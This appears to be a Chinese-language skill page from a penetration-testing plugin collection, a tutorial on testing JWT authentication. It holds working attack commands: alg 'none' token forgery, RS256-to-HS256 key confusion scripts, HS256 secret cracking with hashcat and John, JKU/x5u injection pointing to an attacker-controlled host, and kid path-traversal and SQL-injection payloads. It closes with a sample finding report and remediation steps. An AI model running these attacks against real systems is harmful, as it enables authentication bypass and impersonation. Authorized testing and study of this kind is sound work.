npx claudepluginhub killvxk/cybersecurity-skills-zhThis skill uses the workspace's default tool permissions.
- 在授权的渗透测试中,目标应用程序使用 JWT 进行认证或授权时
Tests JWT implementations for vulnerabilities like algorithm confusion, none algorithm bypass, kid injection, and weak keys to achieve auth bypass and privilege escalation. Useful for auditing JWT in APIs, SSO, and OAuth.
Tests JWT implementations for vulnerabilities including algorithm confusion, none algorithm bypass, kid injection, and weak secret exploitation during auth audits.
Tests JWT for vulnerabilities like none algorithm bypass, algorithm confusion, kid injection, and weak secrets to achieve authentication bypass in web apps and APIs.
Share bugs, ideas, or general feedback.
pip install jwt_tool 或 git clone https://github.com/ticarpi/jwt_tool.git)pip install pyjwt)apt install hashcat)提取并检查头部(Header)、载荷(Payload)和签名(Signature)组件。
# 解码 JWT 各部分(base64url 解码)
JWT="eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c"
# 解码头部
echo "$JWT" | cut -d. -f1 | base64 -d 2>/dev/null | jq .
# 输出: {"alg":"HS256","typ":"JWT"}
# 解码载荷
echo "$JWT" | cut -d. -f2 | base64 -d 2>/dev/null | jq .
# 输出: {"sub":"1234567890","name":"John Doe","iat":1516239022}
# 使用 jwt_tool 进行全面分析
python3 jwt_tool.py "$JWT"
# 检查载荷中的敏感数据:
# - 个人身份信息(PII):邮箱、电话、地址
# - 内部 ID 或数据库引用
# - 角色/权限声明
# - 过期时间(exp、nbf、iat)
# - 颁发方(iss)和受众(aud)
尝试通过将算法设置为 "none" 来伪造令牌。
# jwt_tool 算法 none 攻击
python3 jwt_tool.py "$JWT" -X a
# 手动算法 none 攻击
# 创建头部: {"alg":"none","typ":"JWT"}
HEADER=$(echo -n '{"alg":"none","typ":"JWT"}' | base64 | tr -d '=' | tr '+/' '-_')
# 创建修改后的载荷(将 role 改为 admin)
PAYLOAD=$(echo -n '{"sub":"1234567890","name":"John Doe","role":"admin","iat":1516239022}' | base64 | tr -d '=' | tr '+/' '-_')
# 构造带空签名的令牌
FORGED_JWT="${HEADER}.${PAYLOAD}."
echo "伪造的 JWT: $FORGED_JWT"
# 测试伪造的令牌
curl -s -H "Authorization: Bearer $FORGED_JWT" \
"https://target.example.com/api/admin/users" | jq .
# 尝试变体: "None", "NONE", "nOnE"
for alg in none None NONE nOnE; do
HEADER=$(echo -n "{\"alg\":\"$alg\",\"typ\":\"JWT\"}" | base64 | tr -d '=' | tr '+/' '-_')
FORGED="${HEADER}.${PAYLOAD}."
echo -n "alg=$alg: "
curl -s -o /dev/null -w "%{http_code}" \
-H "Authorization: Bearer $FORGED" \
"https://target.example.com/api/admin/users"
echo
done
如果服务器使用 RS256,尝试切换到 HS256 并用公钥签名。
# 步骤 1:获取服务器的公钥
# 检查常见位置
curl -s "https://target.example.com/.well-known/jwks.json" | jq .
curl -s "https://target.example.com/.well-known/openid-configuration" | jq .jwks_uri
curl -s "https://target.example.com/oauth/certs" | jq .
# 步骤 2:从 JWKS 提取公钥
# 保存 JWKS 并转换为 PEM 格式
# 使用 jwt_tool 或 openssl
# 步骤 3:jwt_tool 密钥混淆攻击
python3 jwt_tool.py "$JWT" -X k -pk public_key.pem
# 使用 Python 手动进行算法混淆攻击
python3 << 'PYEOF'
import jwt
import json
# 读取服务器的 RSA 公钥
with open('public_key.pem', 'r') as f:
public_key = f.read()
# 创建伪造载荷
payload = {
"sub": "1234567890",
"name": "Admin User",
"role": "admin",
"iat": 1516239022,
"exp": 9999999999
}
# 使用 RSA 公钥作为 HMAC 密钥,以 HS256 签名
forged_token = jwt.encode(payload, public_key, algorithm='HS256')
print(f"伪造令牌: {forged_token}")
PYEOF
# 测试伪造的令牌
curl -s -H "Authorization: Bearer $FORGED_TOKEN" \
"https://target.example.com/api/admin/users"
如果使用 HS256,尝试破解签名密钥。
# 使用 jwt_tool 配合常见密钥
python3 jwt_tool.py "$JWT" -C -d /usr/share/wordlists/rockyou.txt
# 使用 hashcat 进行 GPU 加速破解
# 模式 16500 = JWT (HS256)
hashcat -a 0 -m 16500 "$JWT" /usr/share/wordlists/rockyou.txt
# 使用 John the Ripper
echo "$JWT" > jwt_hash.txt
john jwt_hash.txt --wordlist=/usr/share/wordlists/rockyou.txt --format=HMAC-SHA256
# 如果找到密钥,可以伪造任意令牌
python3 << 'PYEOF'
import jwt
secret = "cracked_secret_here"
payload = {
"sub": "1",
"name": "Admin",
"role": "admin",
"exp": 9999999999
}
token = jwt.encode(payload, secret, algorithm='HS256')
print(f"伪造令牌: {token}")
PYEOF
修改 JWT 声明以提升权限或绕过授权。
# 使用 jwt_tool 进行声明篡改
# 更改 role 声明
python3 jwt_tool.py "$JWT" -T -S hs256 -p "known_secret" \
-pc role -pv admin
# 测试常见声明攻击:
# 1. JKU(JWK Set URL)注入
python3 jwt_tool.py "$JWT" -X s -ju "https://attacker.example.com/jwks.json"
# 在该 URL 托管攻击者控制的 JWKS
# 2. KID(Key ID)注入
# 在 kid 参数中进行 SQL 注入
python3 jwt_tool.py "$JWT" -I -hc kid -hv "../../dev/null" -S hs256 -p ""
# 如果 kid 用于文件路径查找,指向 /dev/null(空密钥)
# 通过 kid 进行 SQL 注入
python3 jwt_tool.py "$JWT" -I -hc kid -hv "' UNION SELECT 'secret' --" -S hs256 -p "secret"
# 3. x5u(X.509 URL)注入
python3 jwt_tool.py "$JWT" -X s -x5u "https://attacker.example.com/cert.pem"
# 4. 修改 subject 和 role 声明
python3 jwt_tool.py "$JWT" -T -S hs256 -p "secret" \
-pc sub -pv "admin@target.com" \
-pc role -pv "superadmin"
评估令牌过期强制执行和吊销能力。
# 测试是否接受已过期的令牌
python3 << 'PYEOF'
import jwt
import time
secret = "known_secret"
# 创建 1 小时前已过期的令牌
payload = {
"sub": "user123",
"role": "user",
"exp": int(time.time()) - 3600,
"iat": int(time.time()) - 7200
}
expired_token = jwt.encode(payload, secret, algorithm='HS256')
print(f"过期令牌: {expired_token}")
PYEOF
curl -s -H "Authorization: Bearer $EXPIRED_TOKEN" \
"https://target.example.com/api/profile" -w "%{http_code}"
# 测试具有遥远未来过期时间的令牌
python3 << 'PYEOF'
import jwt
secret = "known_secret"
payload = {
"sub": "user123",
"role": "user",
"exp": 32503680000 # 3000 年
}
long_lived = jwt.encode(payload, secret, algorithm='HS256')
print(f"长期有效令牌: {long_lived}")
PYEOF
# 测试注销后的令牌重用
# 1. 在注销前捕获 JWT
# 2. 注销(调用 /auth/logout)
# 3. 尝试再次使用已捕获的 JWT
curl -s -H "Authorization: Bearer $PRE_LOGOUT_TOKEN" \
"https://target.example.com/api/profile" -w "%{http_code}"
# 如果返回 200,说明令牌在注销后未被吊销
# 测试密码更改后的令牌重用
# 类似测试:捕获 JWT,更改密码,重用旧 JWT
| 概念 | 描述 |
|---|---|
| 算法 None 攻击 | 通过将 alg 设置为 none 来绕过签名验证 |
| 算法混淆 | 从 RS256 切换到 HS256,并用公钥作为 HMAC 密钥签名 |
| HMAC 暴力破解 | 使用词表或暴力破解方式破解弱 HS256 签名密钥 |
| JKU/x5u 注入 | 将 JWT 头部 URL 指向攻击者控制的密钥服务器 |
| KID 注入 | 利用密钥 ID 头部参数中的 SQL 注入或路径遍历 |
| 声明篡改 | 在攻破签名密钥后修改载荷声明(role、sub、permissions) |
| 令牌吊销 | 在令牌过期前使其失效的能力(或缺乏该能力) |
| JWE 与 JWS | JSON Web 加密(JWE,保密性)与 JSON Web 签名(JWS,完整性)的区别 |
| 工具 | 用途 |
|---|---|
| jwt_tool | 带自动化攻击模块的全面 JWT 测试工具包 |
| Burp JWT Editor | 用于实时 JWT 操纵的 Burp Suite 扩展 |
| Hashcat | GPU 加速的 HMAC 密钥暴力破解(模式 16500) |
| John the Ripper | 基于 CPU 的 JWT 密钥破解 |
| PyJWT | 用于编程式 JWT 创建和操纵的 Python 库 |
| jwt.io | JWT 在线解码器,可快速分析(请勿粘贴生产环境令牌) |
JWT 库接受 "alg":"none" 的令牌,任何用户只需移除签名并修改算法头部即可伪造管理员令牌。
应用程序使用 HS256 算法,且签名密钥为字典单词。Hashcat 在几分钟内破解密钥,实现完全的令牌伪造和管理员冒充。
SSO 提供方使用 RS256,但消费方应用程序也接受 HS256。攻击者使用公开可用的 RSA 公钥通过 HS256 对伪造令牌签名。
kid 头部参数用于 SQL 查询中查找签名密钥。注入 ' UNION SELECT 'attacker_secret' -- 使攻击者能控制签名密钥。
## JWT 安全发现
**漏洞类型**: JWT 算法混淆(RS256 到 HS256)
**严重级别**: 严重(CVSS 9.8)
**位置**: 所有 API 端点的 Authorization 头
**OWASP 类别**: A02:2021 - 密码学失效
### JWT 配置
| 属性 | 值 |
|------|-----|
| 算法 | RS256(同时接受 HS256) |
| 颁发方 | auth.target.example.com |
| 过期时间 | 24 小时 |
| 公钥 | 可在 /.well-known/jwks.json 获取 |
| 吊销机制 | 未实现 |
### 已确认的攻击
| 攻击方式 | 结果 |
|---------|------|
| 算法 None | 已拦截 |
| 算法混淆(RS256→HS256) | 存在漏洞 |
| HMAC 暴力破解 | 不适用(RSA) |
| KID 注入 | 不存在 |
| 已过期令牌重用 | 已接受(无吊销机制) |
### 影响
- 通过伪造管理员令牌完全绕过认证
- 任何用户均可通过伪造 JWT 声明提升至任意角色
- 注销后令牌仍有效(无服务器端吊销)
### 修复建议
1. 在服务器端强制执行算法白名单(拒绝意外的算法)
2. 使用非对称算法(RS256/ES256)并妥善管理密钥
3. 通过黑名单或短期过期配合刷新令牌机制实现令牌吊销
4. 服务器端验证所有 JWT 声明(iss、aud、exp、nbf)
5. HMAC 密钥长度至少为 256 位